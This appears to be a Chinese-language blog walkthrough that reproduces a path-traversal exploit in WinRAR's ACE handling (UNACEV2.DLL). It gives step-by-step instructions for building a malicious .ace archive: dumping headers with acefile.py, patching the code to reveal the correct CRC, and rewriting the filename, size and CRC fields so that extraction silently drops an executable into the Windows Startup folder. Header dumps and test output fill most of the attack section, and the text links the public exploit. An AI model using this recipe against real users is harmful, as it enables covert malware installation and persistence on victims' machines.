1 漏洞利用缺陷

利用思路可以選擇DLL劫持

1.1exploit 的rar 文件存放位置

該漏洞為一個路徑穿越型的漏洞,有兩個方面的缺陷限制漏洞的利用。 漏洞利用的目標是把exe釋放到操作系統啟動目錄下,win10 的啟動目錄是:%appdata%MicrosoftWindowsStart MenuProgramsStartupace

文件的解析dll: UNACEV2.DLL,不能識別相對路徑,只能是絕對路徑,所以上述相對路徑是無法識別的,就必須要有一個絕對路徑才行, 比如:d:Working_dataWinRar_Exploitpoc est.ace

漏洞利用的時候需要填寫系統啟動目錄對應當前目錄的一個絕對路徑,比如....1.exe,相對於當前目錄路徑的一個文件存儲位置, 而目標系統利用的情況下,是無法做到的。

1.2目標計算機的用戶名

第一種情況無法保證的情況下,就需要第二種情況來滿足,需要目標計算機的用戶名,硬編碼寫入一個文件路徑,比如:C:UsersadminAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup est.exe

才能比較好的利用。

2 ACE解析模塊

需要python3 支持

github.com/droe/acefile

3 github exploit 地址

github.com/WyAtu/CVE-20

4漏洞驗證還原過程

4.1系統環境&軟體環境

win7 x32 sp1

010editor

winace 2.6.9

winrar 5.50 beta 1

ace 文件解析器:acefile :github.com/droe/acefile 需要python3 支持

4.2 安裝winace&winrar

winace版本是 winace 2.69,是否破解跟漏洞利用沒有太大關係

winrar 的版本是 winrar 5.50 beta 1,其他版本未測試

4.3創建.ace文件

使用winace壓縮文件,選中需要壓縮的文件右鍵-add to,如圖所示:

Figure 1:壓縮選擇的文件

壓縮模式選項中選擇全路徑:

全路徑

4.4 解析 exploit.ace

使用ace解析工具acefile.py --headers exploit.ace得到如下結果

volume
filename C:UsersadminDesktopDesktop.ace
filesize 1457308
headers MAIN:1 FILE:2 others:0
header
hdr_crc 0x7c4a
hdr_size 44
hdr_type 0x00 MAIN
hdr_flags 0x8100 V20FORMAT|SOLID
magic b**ACE**
eversion 20 2.0
cversion 20 2.0
host 0x02 Win32
volume 0
datetime 0x4e5775a8 2019-02-23 14:45:16
reserved1 57 8a 20 6f 00 00 00 00
advert b
comment b
reserved2 bx00x00x00BYWx99?`x00xf0axf5x02x98xccx00x00
header
hdr_crc 0x1cdb
hdr_size 74
hdr_type 0x01 FILE32
hdr_flags 0x8001 ADDSIZE|SOLID
packsize 16884
origsize 19895
datetime 0x4d629493 2018-11-02 18:36:38
attribs 0x00000020 ARCHIVE
crc32 0x589adad7
comptype 0x02 blocked
compqual 0x03 normal
params 0x000a
reserved1 0xf000
filename bUsers\admin\Desktop\xb2xfaxc6xb7xd1xe9xcaxd5xb1xeaxd7xbcxbaxcdxb7xbdxb7xa8.docx
comment b
ntsecurity b
reserved2 b
header
hdr_crc 0x7e2e #重點,需要修改
hdr_size 58 #重點,需要修改
hdr_type 0x01 FILE32
hdr_flags 0x8001 ADDSIZE|SOLID
packsize 1440236
origsize 1565573
datetime 0x4d2d581d 2018-09-13 11:00:58
attribs 0x00000020 ARCHIVE
crc32 0x9629e926
comptype 0x02 blocked
compqual 0x03 normal
params 0x000a
reserved1 0xf000
filename bUsers\admin\Desktop\IDM.exe #重點需要修改
comment b
ntsecurity b
reserved2 b

4.5 重點數據修改

修改的目的是創建漏洞利用所需要的穿越目錄和最終生成的exploit.ace 有4個非常重要的點:

Figure 2:需要修改的點

hdr_crc此項可以通過acefile.py 代碼中進行列印出來以後進行修改,acefile.py 代碼3059處:

if ace_crc16(buf) != hcrc:
print("[+] right_hdr_crc : {} | struct {} ".format(hex(ace_crc16(buf)),
struct.pack(<H, ace_crc16(buf))))
print("[*] current_hdr_crc : {} | struct {}".format(hex(hcrc),struct.pack(<H, hcrc)))
raise CorruptedArchiveError("header CRC failed")
htype, hflags = struct.unpack(<BH, buf[0:3])
i = 3
#print(struct.unpack(I, hcrc))

通過計算和列印ace_crc16(buf)的值來確認正確的crc的值。

hdrsizehdrsize 的修改要在覆蓋 filename 之後確認

filename 寫入一個路徑穿越的目標文件的路徑,格式如下:

C:C:C:../AppDataRoamingMicrosoftWindowsStart MenuProgramsStartuphi.exe

本次使用的是:C:C:UsersadminAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupidm.exe

filenamesize依據文件名長度來計算filenamesize,對應之處修改。

4.6數據修正

修改之後的相關數據如下:

Figure 3:修改之後的相關數據

4.7驗證

使用acefile.py 驗證修改後的exploit.ace是否符合文件格式

volume
filename C:UsersadminDesktopexploit.ace
filesize 1457368
headers MAIN:1 FILE:2 others:0
header
hdr_crc 0x7c4a
hdr_size 44
hdr_type 0x00 MAIN
hdr_flags 0x8100 V20FORMAT|SOLID
magic b**ACE**
eversion 20 2.0
cversion 20 2.0
host 0x02 Win32
volume 0
datetime 0x4e5775a8 2019-02-23 14:45:16
reserved1 57 8a 20 6f 00 00 00 00
advert b
comment b
reserved2 bx00x00x00BYWx99?`x00xf0axf5x02x98xccx00x00
header
hdr_crc 0x1cdb
hdr_size 74
hdr_type 0x01 FILE32
hdr_flags 0x8001 ADDSIZE|SOLID
packsize 16884
origsize 19895
datetime 0x4d629493 2018-11-02 18:36:38
attribs 0x00000020 ARCHIVE
crc32 0x589adad7
comptype 0x02 blocked
compqual 0x03 normal
params 0x000a
reserved1 0xf000
filename bUsers\admin\Desktop\xb2xfaxc6xb7xd1xe9xcaxd5xb1xeaxd7xbcxbaxcdxb7xbdxb7xa8.docx
comment b
ntsecurity b
reserved2 b
header
hdr_crc 0xe2fd # 已修改
hdr_size 120 # 已修改
hdr_type 0x01 FILE32
hdr_flags 0x8001 ADDSIZE|SOLID
packsize 1440236
origsize 1565573
datetime 0x4d2d581d 2018-09-13 11:00:58
attribs 0x00000020 ARCHIVE
crc32 0x9629e926
comptype 0x02 blocked
compqual 0x03 normal
params 0x000a
reserved1 0xf000
filename bC:\C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\idm.exe
comment b
ntsecurity b
reserved2 bxefxa4

4.8exploit測試

在win7 測試系統中,exploit.ace 文件右鍵選擇 extract here ,在操作系統啟動目錄下生成了 idm.exe:

Figure 4:exploit 測試

參考資料:

research.checkpoint.com


推薦閱讀:
相关文章